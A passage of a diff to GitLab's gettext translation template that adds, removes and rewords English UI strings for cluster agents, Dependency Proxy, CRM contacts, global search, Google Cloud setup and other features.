+msgid "ClusterAgents|All"
msgstr ""
msgid "ClusterAgents|An error occurred while loading your GitLab Agents"
@@ -7307,9 +7419,30 @@ msgstr ""
msgid "ClusterAgents|An unknown error occurred. Please try again."
msgstr ""
+msgid "ClusterAgents|Certificate"
+msgstr ""
+
msgid "ClusterAgents|Configuration"
msgstr ""
+msgid "ClusterAgents|Connect a cluster through the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect existing cluster"
+msgstr ""
+
+msgid "ClusterAgents|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect with the GitLab Agent"
+msgstr ""
+
+msgid "ClusterAgents|Connect your cluster through the Agent"
+msgstr ""
+
msgid "ClusterAgents|Connected"
msgstr ""
@@ -7319,6 +7452,9 @@ msgstr ""
msgid "ClusterAgents|Copy token"
msgstr ""
+msgid "ClusterAgents|Create a new cluster"
+msgstr ""
+
msgid "ClusterAgents|Created by"
msgstr ""
@@ -7328,28 +7464,31 @@ msgstr ""
msgid "ClusterAgents|Date created"
msgstr ""
+msgid "ClusterAgents|Deprecated"
+msgstr ""
+
msgid "ClusterAgents|Description"
msgstr ""
-msgid "ClusterAgents|For alternative installation methods %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Failed to register an agent"
msgstr ""
-msgid "ClusterAgents|For more troubleshooting information go to"
+msgid "ClusterAgents|For the advanced installation method %{linkStart}see the documentation%{linkEnd}."
msgstr ""
-msgid "ClusterAgents|Go to the repository"
+msgid "ClusterAgents|GitLab Agent"
msgstr ""
-msgid "ClusterAgents|Install a new GitLab Agent"
+msgid "ClusterAgents|GitLab Agent for Kubernetes"
msgstr ""
-msgid "ClusterAgents|Install new Agent"
+msgid "ClusterAgents|Go to the repository files"
msgstr ""
-msgid "ClusterAgents|Integrate Kubernetes with a GitLab Agent"
+msgid "ClusterAgents|How to register an agent?"
msgstr ""
-msgid "ClusterAgents|Integrate with the GitLab Agent"
+msgid "ClusterAgents|Install a new agent"
msgstr ""
msgid "ClusterAgents|Last connected %{timeAgo}."
@@ -7361,6 +7500,9 @@ msgstr ""
msgid "ClusterAgents|Learn how to create an agent access token"
msgstr ""
+msgid "ClusterAgents|Learn how to troubleshoot"
+msgstr ""
+
msgid "ClusterAgents|Make sure you are using a valid token."
msgstr ""
@@ -7373,60 +7515,78 @@ msgstr ""
msgid "ClusterAgents|Never connected"
msgstr ""
+msgid "ClusterAgents|No agents"
+msgstr ""
+
+msgid "ClusterAgents|No clusters connected through cluster certificates"
+msgstr ""
+
msgid "ClusterAgents|Not connected"
msgstr ""
-msgid "ClusterAgents|Read more about getting started"
+msgid "ClusterAgents|Recommended"
msgstr ""
msgid "ClusterAgents|Recommended installation method"
msgstr ""
-msgid "ClusterAgents|Registering Agent"
+msgid "ClusterAgents|Register"
msgstr ""
-msgid "ClusterAgents|Registration token"
+msgid "ClusterAgents|Register an agent to generate a token that will be used to install the agent on your cluster in the next step."
msgstr ""
-msgid "ClusterAgents|Select an Agent"
+msgid "ClusterAgents|Registering Agent"
msgstr ""
-msgid "ClusterAgents|Select the Agent you want to register with GitLab and install on your cluster. To learn more about the Kubernetes Agent registration process %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|Registration token"
msgstr ""
-msgid "ClusterAgents|Select which Agent you want to install"
+msgid "ClusterAgents|Security"
msgstr ""
-msgid "ClusterAgents|The Agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
+msgid "ClusterAgents|Select an agent"
msgstr ""
-msgid "ClusterAgents|The GitLab Agent also requires %{linkStart}enabling the Agent Server%{linkEnd}"
+msgid "ClusterAgents|Select an agent to register with GitLab"
msgstr ""
-msgid "ClusterAgents|The GitLab Kubernetes Agent allows an Infrastructure as Code, GitOps approach to integrating Kubernetes clusters with GitLab. %{linkStart}Learn more.%{linkEnd}"
+msgid "ClusterAgents|The GitLab Agent provides an increased level of security when connecting Kubernetes clusters to GitLab. %{linkStart}Learn more about the GitLab Agent.%{linkEnd}"
msgstr ""
-msgid "ClusterAgents|The recommended installation method provided below includes the token. If you want to follow the alternative installation method provided in the docs make sure you save the token value before you close the window."
+msgid "ClusterAgents|The agent has not been connected in a long time. There might be a connectivity issue. Last contact was %{timeAgo}."
msgstr ""
-msgid "ClusterAgents|The registration token will be used to connect the Agent on your cluster to GitLab. To learn more about the registration tokens and how they are used %{linkStart}go to the documentation%{linkEnd}."
+msgid "ClusterAgents|The recommended installation method includes the token. If you want to follow the advanced installation method provided in the docs, make sure you save the token value before you close this window."
msgstr ""
-msgid "ClusterAgents|The token value will not be shown again after you close this window."
+msgid "ClusterAgents|The registration token will be used to connect the agent on your cluster to GitLab. %{linkStart}What are registration tokens?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|This agent has no tokens"
msgstr ""
-msgid "ClusterAgents|To install an Agent you should create an agent directory in the Repository first. We recommend that you add the Agent configuration to the directory before you start the installation process."
+msgid "ClusterAgents|To install a new agent, first add the agent's configuration file to this repository. %{linkStart}What's the agent's configuration file?%{linkEnd}"
msgstr ""
msgid "ClusterAgents|Unknown user"
msgstr ""
+msgid "ClusterAgents|View all %{number} agents"
+msgstr ""
+
+msgid "ClusterAgents|View all %{number} clusters"
+msgstr ""
+
+msgid "ClusterAgents|You cannot see this token again after you close this window."
+msgstr ""
+
msgid "ClusterAgents|You will need to create a token to connect to your agent"
msgstr ""
+msgid "ClusterAgents|Your instance doesn't have the %{linkStart}GitLab Agent Server (KAS)%{linkEnd} set up. Ask a GitLab Administrator to install it."
+msgstr ""
+
msgid "ClusterAgent|User has insufficient permissions to create a token for this project"
msgstr ""
@@ -7568,15 +7728,18 @@ msgstr ""
msgid "ClusterIntegration|Clusters are utilized by selecting the nearest ancestor with a matching environment scope. For example, project clusters will override group clusters. %{linkStart}More information%{linkEnd}"
msgstr ""
-msgid "ClusterIntegration|Clusters connected with a certificate"
-msgstr ""
-
msgid "ClusterIntegration|Connect cluster with certificate"
msgstr ""
msgid "ClusterIntegration|Connect existing cluster"
msgstr ""
+msgid "ClusterIntegration|Connect with a certificate"
+msgstr ""
+
+msgid "ClusterIntegration|Connect your cluster to GitLab through %{linkStart}cluster certificates%{linkEnd}."
+msgstr ""
+
msgid "ClusterIntegration|Connection Error"
msgstr ""
@@ -7703,9 +7866,6 @@ msgstr ""
msgid "ClusterIntegration|Fetching zones"
msgstr ""
-msgid "ClusterIntegration|GitLab Agent managed clusters"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr ""
@@ -7751,12 +7911,6 @@ msgstr ""
msgid "ClusterIntegration|Instance type"
msgstr ""
-msgid "ClusterIntegration|Integrate Kubernetes with a cluster certificate"
-msgstr ""
-
-msgid "ClusterIntegration|Integrate with a cluster certificate"
-msgstr ""
-
msgid "ClusterIntegration|Integration disabled"
msgstr ""
@@ -7778,9 +7932,6 @@ msgstr ""
msgid "ClusterIntegration|Kubernetes cluster was successfully created."
msgstr ""
-msgid "ClusterIntegration|Kubernetes clusters allow you to use review apps, deploy your applications, run your pipelines, and much more in an easy way."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes version"
msgstr ""
@@ -8081,6 +8232,9 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
+msgid "ClusterIntegration|The certificate-based method to connect clusters to GitLab was %{linkStart}deprecated%{linkEnd} in GitLab 14.5."
+msgstr ""
+
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -8135,6 +8289,9 @@ msgstr ""
msgid "ClusterIntegration|Unknown Error"
msgstr ""
+msgid "ClusterIntegration|Use the %{linkStart}GitLab Agent%{linkEnd} to safely connect your Kubernetes clusters to GitLab. You can deploy your applications, run your pipelines, use Review Apps, and much more."
+msgstr ""
+
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -8192,9 +8349,6 @@ msgstr ""
msgid "Code"
msgstr ""
-msgid "Code Coverage: %{coveragePercentage}"
-msgstr ""
-
msgid "Code Coverage: %{coveragePercentage}%{percentSymbol}"
msgstr ""
@@ -8231,6 +8385,9 @@ msgstr ""
msgid "Code review"
msgstr ""
+msgid "Code snippet"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -8656,6 +8813,12 @@ msgstr ""
msgid "Configure Prometheus"
msgstr ""
+msgid "Configure SAST IaC in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST IaC settings."
+msgstr ""
+
+msgid "Configure SAST IaC in `.gitlab-ci.yml`, creating this file if it does not already exist"
+msgstr ""
+
msgid "Configure SAST in `.gitlab-ci.yml` using the GitLab managed template. You can [add variable overrides](https://docs.gitlab.com/ee/user/application_security/sast/#customizing-the-sast-settings) to customize SAST settings."
msgstr ""
@@ -8668,6 +8831,9 @@ msgstr ""
msgid "Configure Secret Detection in `.gitlab-ci.yml`, creating this file if it does not already exist"
msgstr ""
+msgid "Configure Sentry integration for error tracking"
+msgstr ""
+
msgid "Configure Tracing"
msgstr ""
@@ -8707,9 +8873,6 @@ msgstr ""
msgid "Configure the way a user creates a new account."
msgstr ""
-msgid "Configure via Merge Request"
-msgstr ""
-
msgid "Configure which lists are shown for anyone who visits this board"
msgstr ""
@@ -9421,7 +9584,7 @@ msgstr ""
msgid "CorpusManagement|Latest Job:"
msgstr ""
-msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 10GB"
+msgid "CorpusManagement|New corpus needs to be a upload in *.zip format. Maximum 5GB"
msgstr ""
msgid "CorpusManagement|New upload"
@@ -9577,6 +9740,9 @@ msgstr ""
msgid "Create %{workspace} label"
msgstr ""
+msgid "Create Google Cloud project"
+msgstr ""
+
msgid "Create New Directory"
msgstr ""
@@ -9736,6 +9902,9 @@ msgstr ""
msgid "Create requirement"
msgstr ""
+msgid "Create service account"
+msgstr ""
+
msgid "Create snippet"
msgstr ""
@@ -9769,9 +9938,6 @@ msgstr ""
msgid "CreateTag|Tag"
msgstr ""
-msgid "CreateTokenToCloneLink|create a personal access token"
-msgstr ""
-
msgid "CreateValueStreamForm|%{name} (default)"
msgstr ""
@@ -9991,6 +10157,36 @@ msgstr ""
msgid "Critical vulnerabilities present"
msgstr ""
+msgid "Crm|Create new contact"
+msgstr ""
+
+msgid "Crm|Customer Relations Contacts"
+msgstr ""
+
+msgid "Crm|Description (optional)"
+msgstr ""
+
+msgid "Crm|Email"
+msgstr ""
+
+msgid "Crm|First name"
+msgstr ""
+
+msgid "Crm|Last name"
+msgstr ""
+
+msgid "Crm|New contact"
+msgstr ""
+
+msgid "Crm|No contacts found"
+msgstr ""
+
+msgid "Crm|No organizations found"
+msgstr ""
+
+msgid "Crm|Phone number (optional)"
+msgstr ""
+
msgid "Cron Timezone"
msgstr ""
@@ -10379,6 +10575,9 @@ msgstr ""
msgid "DORA4Metrics|The chart displays the median time between a merge request being merged and deployed to production environment(s) that are based on the %{linkStart}deployment_tier%{linkEnd} value."
msgstr ""
+msgid "DSN"
+msgstr ""
+
msgid "Dashboard"
msgstr ""
@@ -11026,6 +11225,9 @@ msgstr ""
msgid "Delete Key"
msgstr ""
+msgid "Delete Selected"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11047,6 +11249,9 @@ msgstr ""
msgid "Delete corpus"
msgstr ""
+msgid "Delete deploy key"
+msgstr ""
+
msgid "Delete file"
msgstr ""
@@ -11101,9 +11306,6 @@ msgstr ""
msgid "Delete variable"
msgstr ""
-msgid "DeleteProject|Delete %{name}"
-msgstr ""
-
msgid "DeleteProject|Failed to remove project repository. Please try again or contact administrator."
msgstr ""
@@ -11149,6 +11351,12 @@ msgstr ""
msgid "Deleted projects cannot be restored!"
msgstr ""
+msgid "Deletes the source branch"
+msgstr ""
+
+msgid "Deletes the source branch."
+msgstr ""
+
msgid "Deleting"
msgstr ""
@@ -11266,6 +11474,9 @@ msgstr ""
msgid "Dependency Scanning"
msgstr ""
+msgid "Dependency list"
+msgstr ""
+
msgid "DependencyProxy|Cached %{time}"
msgstr ""
@@ -11281,19 +11492,25 @@ msgstr ""
msgid "DependencyProxy|Dependency Proxy"
msgstr ""
-msgid "DependencyProxy|Dependency Proxy disabled. To enable it, contact the group owner."
-msgstr ""
-
msgid "DependencyProxy|Dependency Proxy feature is limited to public groups for now."
msgstr ""
msgid "DependencyProxy|Dependency Proxy image prefix"
msgstr ""
-msgid "DependencyProxy|Enable Proxy"
+msgid "DependencyProxy|Enable Dependency Proxy"
+msgstr ""
+
+msgid "DependencyProxy|Image list"
+msgstr ""
+
+msgid "DependencyProxy|The Dependency Proxy is disabled. %{docLinkStart}Learn how to enable it%{docLinkEnd}."
msgstr ""
-msgid "DependencyProxy|Manifest list"
+msgid "DependencyProxy|There are no images in the cache"
+msgstr ""
+
+msgid "DependencyProxy|To see the image prefix and what is in the cache, visit the %{linkStart}Dependency Proxy%{linkEnd}"
msgstr ""
msgid "Depends on %d merge request being merged"
@@ -11533,9 +11750,6 @@ msgstr ""
msgid "Deployments"
msgstr ""
-msgid "Deployments to Google Kubernetes Engine can be "
-msgstr ""
-
msgid "Deployments|%{deployments} environment impacted."
msgid_plural "Deployments|%{deployments} environments impacted."
msgstr[0] ""
@@ -11765,7 +11979,7 @@ msgstr ""
msgid "DevOps Adoption"
msgstr ""
-msgid "DevOps Report"
+msgid "DevOps Reports"
msgstr ""
msgid "DevOps adoption"
@@ -12032,6 +12246,9 @@ msgstr ""
msgid "Disable"
msgstr ""
+msgid "Disable Elasticsearch until indexing completes."
+msgstr ""
+
msgid "Disable Two-factor Authentication"
msgstr ""
@@ -12199,6 +12416,9 @@ msgstr ""
msgid "Does not apply to projects in personal namespaces, which are deleted immediately on request."
msgstr ""
+msgid "Does not delete the source branch."
+msgstr ""
+
msgid "Domain"
msgstr ""
@@ -12289,9 +12509,6 @@ msgstr ""
msgid "Draft"
msgstr ""
-msgid "Draft merge requests can't be merged."
-msgstr ""
-
msgid "Drag your designs here or %{linkStart}click to upload%{linkEnd}."
msgstr ""
@@ -12325,6 +12542,9 @@ msgstr ""
msgid "DropdownWidget|No %{issuableAttribute} found"
msgstr ""
+msgid "DropdownWidget|No open %{issuableAttribute} found"
+msgstr ""
+
msgid "Due Date"
msgstr ""
@@ -12403,9 +12623,15 @@ msgstr ""
msgid "Edit comment"
msgstr ""
+msgid "Edit commit message"
+msgstr ""
+
msgid "Edit deploy freeze"
msgstr ""
+msgid "Edit deploy key"
+msgstr ""
+
msgid "Edit description"
msgstr ""
@@ -12499,6 +12725,9 @@ msgstr ""
msgid "Elasticsearch indexing started"
msgstr ""
+msgid "Elasticsearch migration halted"
+msgstr ""
+
msgid "Elasticsearch reindexing is already in progress"
msgstr ""
@@ -12514,6 +12743,9 @@ msgstr ""
msgid "Elasticsearch zero-downtime reindexing"
msgstr ""
+msgid "Elasticsearch's region."
+msgstr ""
+
msgid "Elastic|None. Select namespaces to index."
msgstr ""
@@ -12535,6 +12767,9 @@ msgstr ""
msgid "Email a new %{name} to this project"
msgstr ""
+msgid "Email address suffix"
+msgstr ""
+
msgid "Email address to use for Support Desk"
msgstr ""
@@ -12634,9 +12869,6 @@ msgstr ""
msgid "EmailsOnPushService|Send notifications from the committer's email address if the domain matches the domain used by your GitLab instance (such as %{domains})."
msgstr ""
-msgid "EmailsOnPushService|can't exceed %{recipients_limit}"
-msgstr ""
-
msgid "EmailsOnPushService|tanuki@example.com gitlab@example.com"
msgstr ""
@@ -12688,6 +12920,9 @@ msgstr ""
msgid "Enable SSL verification"
msgstr ""
+msgid "Enable Sentry error tracking"
+msgstr ""
+
msgid "Enable Service Ping"
msgstr ""
@@ -12709,6 +12944,9 @@ msgstr ""
msgid "Enable access to the performance bar for non-administrators in a given group."
msgstr ""
+msgid "Enable access tokens to expire after 2 hours. If disabled, tokens do not expire."
+msgstr ""
+
msgid "Enable admin mode"
msgstr ""
@@ -12781,6 +13019,9 @@ msgstr ""
msgid "Enable multipart emails"
msgstr ""
+msgid "Enable only for confidential applications exclusively used by a trusted backend server that can securely store the client secret. Do not enable for native-mobile, single-page, or other JavaScript applications because they cannot keep the client secret confidential."
+msgstr ""
+
msgid "Enable or disable the Pseudonymizer data collection."
msgstr ""
@@ -12955,6 +13196,12 @@ msgstr ""
msgid "Enter the number of seconds, or other human-readable input, like \"1 hour\". This timeout takes precedence over lower timeouts set for the project."
msgstr ""
+msgid "Enter the password for password-protected Elasticsearch servers."
+msgstr ""
+
+msgid "Enter the username for password-protected Elasticsearch servers."
+msgstr ""
+
msgid "Enter your Packagist server. Defaults to https://packagist.org."
msgstr ""
@@ -13038,16 +13285,13 @@ msgstr ""
msgid "EnvironmentsDashboard|More actions"
msgstr ""
-msgid "EnvironmentsDashboard|More information"
-msgstr ""
-
msgid "EnvironmentsDashboard|Remove"
msgstr ""
msgid "EnvironmentsDashboard|The environments dashboard provides a summary of each project's environments' status, including pipeline and alert statuses."
msgstr ""
-msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{readMoreLink}"
+msgid "EnvironmentsDashboard|This dashboard displays 3 environments per project, and is linked to the Operations Dashboard. When you add or remove a project from one dashboard, GitLab adds or removes the project from the other. %{linkStart}More information%{linkEnd}"
msgstr ""
msgid "Environments|An error occurred while canceling the auto stop, please try again"
@@ -13287,9 +13531,6 @@ msgstr ""
msgid "Epics|Enter a title for your epic"
msgstr ""
-msgid "Epics|How can I solve this?"
-msgstr ""
-
msgid "Epics|Leave empty to inherit from milestone dates"
msgstr ""
@@ -13338,9 +13579,6 @@ msgstr ""
msgid "Epics|Something went wrong while removing issue from epic."
msgstr ""
-msgid "Epics|These dates affect how your epics appear in the roadmap. Dates from milestones come from the milestones assigned to issues in the epic. You can also set fixed dates or remove them entirely."
-msgstr ""
-
msgid "Epics|This epic and any containing child epics are confidential and should only be visible to team members with at least Reporter access."
msgstr ""
@@ -13677,7 +13915,7 @@ msgstr ""
msgid "EscalationPolicies|Escalation policies"
msgstr ""
-msgid "EscalationPolicies|Escalation policy %{obstacle} in Project %{project}"
+msgid "EscalationPolicies|Escalation policy %{obstacle} in project %{project}"
msgstr ""
msgid "EscalationPolicies|Escalation rules"
@@ -13859,9 +14097,6 @@ msgstr ""
msgid "Exceptions"
msgstr ""
-msgid "Excess storage"
-msgstr ""
-
msgid "Excluding merge commits. Limited to %{limit} commits."
msgstr ""
@@ -13979,6 +14214,12 @@ msgstr ""
msgid "Explore public groups"
msgstr ""
+msgid "Explore snippets"
+msgstr ""
+
+msgid "Explore topics"
+msgstr ""
+
msgid "Export"
msgstr ""
@@ -14054,6 +14295,12 @@ msgstr ""
msgid "ExternalAuthorizationService|When no classification label is set the default label `%{default_label}` will be used."
msgstr ""
+msgid "ExternalIssueIntegration|Not all data may be displayed here. To view more details or make changes to this issue, go to %{linkStart}%{trackerName}%{linkEnd}."
+msgstr ""
+
+msgid "ExternalIssueIntegration|This issue is synchronized with %{trackerName}"
+msgstr ""
+
msgid "ExternalWikiService|External wiki"
msgstr ""
@@ -14170,6 +14417,9 @@ msgstr ""
msgid "Failed to install."
msgstr ""
+msgid "Failed to load"
+msgstr ""
+
msgid "Failed to load assignees."
msgstr ""
@@ -14236,6 +14486,9 @@ msgstr ""
msgid "Failed to move this issue because target project doesn't exist."
msgstr ""
+msgid "Failed to promote issue to incident"
+msgstr ""
+
msgid "Failed to promote label due to internal error. Please contact administrators."
msgstr ""
@@ -14248,9 +14501,6 @@ msgstr ""
msgid "Failed to publish issue on status page."
msgstr ""
-msgid "Failed to register Agent"
-msgstr ""
-
msgid "Failed to remove a Zoom meeting"
msgstr ""
@@ -14690,6 +14940,9 @@ msgstr ""
msgid "Filter by merge requests that are currently merged."
msgstr ""
+msgid "Filter by milestone"
+msgstr ""
+
msgid "Filter by milestone name"
msgstr ""
@@ -14786,15 +15039,6 @@ msgstr ""
msgid "Fixed burndown chart"
msgstr ""
-msgid "Fixed date"
-msgstr ""
-
-msgid "Fixed due date"
-msgstr ""
-
-msgid "Fixed start date"
-msgstr ""
-
msgid "Fixed:"
msgstr ""
@@ -14873,6 +15117,9 @@ msgstr ""
msgid "For example, the application using the token or the purpose of the token."
msgstr ""
+msgid "For files larger than this limit, only index the file name. The file content is neither indexed nor searchable."
+msgstr ""
+
msgid "For general work"
msgstr ""
@@ -15086,6 +15333,9 @@ msgstr ""
msgid "Generate site and private keys at"
msgstr ""
+msgid "Generated service account is linked to the selected environment"
+msgstr ""
+
msgid "Generic"
msgstr ""
@@ -15191,9 +15441,6 @@ msgstr ""
msgid "Geo|Could not remove tracking entry for an existing project."
msgstr ""
-msgid "Geo|Could not remove tracking entry for an existing upload."
-msgstr ""
-
msgid "Geo|Data replication lag"
msgstr ""
@@ -15467,9 +15714,6 @@ msgstr ""
msgid "Geo|Tracking entry for project (%{project_id}) was successfully removed."
msgstr ""
-msgid "Geo|Tracking entry for upload (%{type}/%{id}) was successfully removed."
-msgstr ""
-
msgid "Geo|URL can't be blank"
msgstr ""
@@ -15641,6 +15885,9 @@ msgstr ""
msgid "GitLab account request rejected"
msgstr ""
+msgid "GitLab and Google Cloud configuration seems to be incomplete. This probably can be fixed by your GitLab administration team. You may share these logs with them:"
+msgstr ""
+
msgid "GitLab commit"
msgstr ""
@@ -15704,6 +15951,9 @@ msgstr ""
msgid "GitLab version"
msgstr ""
+msgid "GitLab will create a branch in your fork and start a merge request."
+msgstr ""
+
msgid "GitLab.com"
msgstr ""
@@ -15875,6 +16125,51 @@ msgstr ""
msgid "Global notification settings"
msgstr ""
+msgid "GlobalSearch|%{count} default results provided. Use the up and down arrow keys to navigate search results list."
+msgstr ""
+
+msgid "GlobalSearch|Issues I've created"
+msgstr ""
+
+msgid "GlobalSearch|Issues assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests I've created"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests assigned to me"
+msgstr ""
+
+msgid "GlobalSearch|Merge requests that I'm a reviewer"
+msgstr ""
+
+msgid "GlobalSearch|Results updated. %{count} results available. Use the up and down arrow keys to navigate search results list, or ENTER to submit."
+msgstr ""
+
+msgid "GlobalSearch|Search GitLab"
+msgstr ""
+
+msgid "GlobalSearch|Search or jump to..."
+msgstr ""
+
+msgid "GlobalSearch|Search results are loading"
+msgstr ""
+
+msgid "GlobalSearch|Type and press the enter key to submit search."
+msgstr ""
+
+msgid "GlobalSearch|Type for new suggestions to appear below."
+msgstr ""
+
+msgid "GlobalSearch|in all GitLab"
+msgstr ""
+
+msgid "GlobalSearch|in group"
+msgstr ""
+
+msgid "GlobalSearch|in project"
+msgstr ""
+
msgid "Go Back"
msgstr ""
@@ -16022,7 +16317,19 @@ msgstr ""
msgid "Google Cloud"
msgstr ""
-msgid "Google Cloud offers several deployment targets. Select the one most suitable for your project."
+msgid "Google Cloud Project"
+msgstr ""
+
+msgid "Google Cloud authorizations required"
+msgstr ""
+
+msgid "Google Cloud project"
+msgstr ""
+
+msgid "Google Cloud project misconfigured"
+msgstr ""
+
+msgid "Google Cloud project required"
msgstr ""
msgid "Google authentication is not %{link_start}properly configured%{link_end}. Ask your GitLab administrator if you want to use this service."
@@ -16079,6 +16386,9 @@ msgstr ""
msgid "GraphViewType|Stage"
msgstr ""
+msgid "Graphs"
+msgstr ""
+
msgid "Gravatar"
msgstr ""
@@ -16343,7 +16653,7 @@ msgstr ""
msgid "GroupSAML|\"persistent\" recommended"
msgstr ""
-msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enabling %{linkStart}SSO enforcement%{linkEnd} can reduce security risks."
+msgid "GroupSAML|%{strongOpen}Warning%{strongClose} - Enable %{linkStart}SSO enforcement%{linkEnd} to reduce security risks."
msgstr ""
msgid "GroupSAML|Active SAML Group Links (%{count})"
@@ -16643,6 +16953,12 @@ msgstr ""
msgid "GroupSettings|What are badges?"
msgstr ""
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals."
+msgstr ""
+
+msgid "GroupSettings|When the number of active users exceeds this number, additional users must be %{user_cap_docs_link_start}approved by an owner%{user_cap_docs_link_end}. Leave empty if you don't want to enforce approvals. Increasing the user cap will not automatically approve pending users."
+msgstr ""
+
msgid "GroupSettings|You can only transfer the group to a group you manage."
msgstr ""
@@ -16820,7 +17136,10 @@ msgstr ""
msgid "Hashed storage can't be disabled anymore for new projects"
msgstr ""
-msgid "Header cannot be associated with both a request and a response"
+msgid "Have a quick chat with us about your experience."
+msgstr ""
+
+msgid "Have more to say about GitLab?"
msgstr ""
msgid "Header logo"
@@ -16835,7 +17154,10 @@ msgstr ""
msgid "Header message"
msgstr ""
-msgid "Header must be associated with a request or response"
+msgid "HeaderAction|incident"
+msgstr ""
+
+msgid "HeaderAction|issue"
msgstr ""
msgid "Headers"
@@ -16934,6 +17256,9 @@ msgstr ""
msgid "Hi %{username}!"
msgstr ""
+msgid "Hidden"
+msgstr ""
+
msgid "Hide"
msgstr ""
@@ -17199,7 +17524,7 @@ msgstr ""
msgid "Identities"
msgstr ""
-msgid "If any indexed field exceeds this limit it will be truncated to this number of characters and the rest will not be indexed or searchable. This does not apply to repository and wiki indexing. Setting this to 0 means it is unlimited."
+msgid "If any indexed field exceeds this limit, it is truncated to this number of characters. The rest of the content is neither indexed nor searchable. This does not apply to repository and wiki indexing. For unlimited characters, set this to 0."
msgstr ""
msgid "If blank, defaults to %{code_open}Retry later%{code_close}."
@@ -17238,6 +17563,9 @@ msgstr ""
msgid "If the number of active users exceeds the user limit, you will be charged for the number of %{users_over_license_link} at your next license reconciliation."
msgstr ""
+msgid "If there isn't any existing index, GitLab creates one."
+msgstr ""
+
msgid "If this email was added in error, you can remove it here:"
msgstr ""
@@ -18015,7 +18343,10 @@ msgstr ""
msgid "IncidentManagement|All"
msgstr ""
-msgid "IncidentManagement|All alerts promoted to incidents will automatically be displayed within the list. You can also create a new incident using the button below."
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list."
+msgstr ""
+
+msgid "IncidentManagement|All alerts promoted to incidents are automatically displayed within the list. You can also create a new incident using the button below."
msgstr ""
msgid "IncidentManagement|Assignees"
@@ -18180,9 +18511,6 @@ msgstr ""
msgid "Include description in commit message"
msgstr ""
-msgid "Include merge request description"
-msgstr ""
-
msgid "Include new features from all tiers."
msgstr ""
@@ -18246,6 +18574,9 @@ msgstr ""
msgid "Infrastructure Registry"
msgstr ""
+msgid "Infrastructure as Code (IaC) Scanning"
+msgstr ""
+
msgid "InfrastructureRegistry|Copy Terraform Command"
msgstr ""
@@ -18461,12 +18792,18 @@ msgstr ""
msgid "Integrations|Default settings are inherited from the instance level."
msgstr ""
+msgid "Integrations|Edit project alias"
+msgstr ""
+
msgid "Integrations|Enable GitLab.com slash commands in a Slack workspace."
msgstr ""
msgid "Integrations|Enable comments"
msgstr ""
+msgid "Integrations|Enter your alias"
+msgstr ""
+
msgid "Integrations|Failed to link namespace. Please try again."
msgstr ""
@@ -18584,6 +18921,9 @@ msgstr ""
msgid "Integrations|You can now close this window and return to the GitLab for Jira application."
msgstr ""
+msgid "Integrations|You can use this alias in your Slack commands"
+msgstr ""
+
msgid "Integrations|You haven't activated any integrations yet."
msgstr ""
@@ -18599,6 +18939,12 @@ msgstr ""
msgid "Integrations|ZenTao issues display here when you create issues in your project in ZenTao."
msgstr ""
+msgid "Integrations|can't exceed %{recipients_limit}"
+msgstr ""
+
+msgid "Interactive developer security education."
+msgstr ""
+
msgid "Interactive mode"
msgstr ""
@@ -18629,7 +18975,10 @@ msgstr ""
msgid "Interval Pattern"
msgstr ""
-msgid "Introducing Your DevOps Report"
+msgid "Introduced in GitLab 13.1, before using %{reindexing_link_start}zero-downtime reindexing%{link_end} and %{migrations_link_start}Advanced Search migrations%{link_end}, you need to %{recreate_link_start}recreate your index%{link_end}."
+msgstr ""
+
+msgid "Introducing Your DevOps Reports"
msgstr ""
msgid "Invalid Insights config file detected"
@@ -18686,7 +19035,7 @@ msgstr ""
msgid "Invalid period"
msgstr ""
-msgid "Invalid pin code"
+msgid "Invalid pin code."
msgstr ""
msgid "Invalid pod_name"
@@ -18824,22 +19173,19 @@ msgstr ""
msgid "InviteMembersModal|Close invite team members"
msgstr ""
-msgid "InviteMembersModal|Collaborate on open issues and merge requests"
-msgstr ""
-
-msgid "InviteMembersModal|Configure CI/CD"
+msgid "InviteMembersModal|Congratulations on creating your project, you're almost there!"
msgstr ""
-msgid "InviteMembersModal|Configure security features"
+msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
msgstr ""
-msgid "InviteMembersModal|Contribute to the codebase"
+msgid "InviteMembersModal|GitLab is better with colleagues!"
msgstr ""
-msgid "InviteMembersModal|Create issues for your new team member to work on (optional)"
+msgid "InviteMembersModal|GitLab member or email address"
msgstr ""
-msgid "InviteMembersModal|GitLab member or email address"
+msgid "InviteMembersModal|How about inviting a colleague or two to join you?"
msgstr ""
msgid "InviteMembersModal|Invite"
@@ -18854,9 +19200,6 @@ msgstr ""
msgid "InviteMembersModal|Members were successfully added"
msgstr ""
-msgid "InviteMembersModal|Other"
-msgstr ""
-
msgid "InviteMembersModal|Search for a group to invite"
msgstr ""
@@ -18875,9 +19218,6 @@ msgstr ""
msgid "InviteMembersModal|To assign issues to a new team member, you need a project for the issues. %{linkStart}Create a project to get started.%{linkEnd}"
msgstr ""
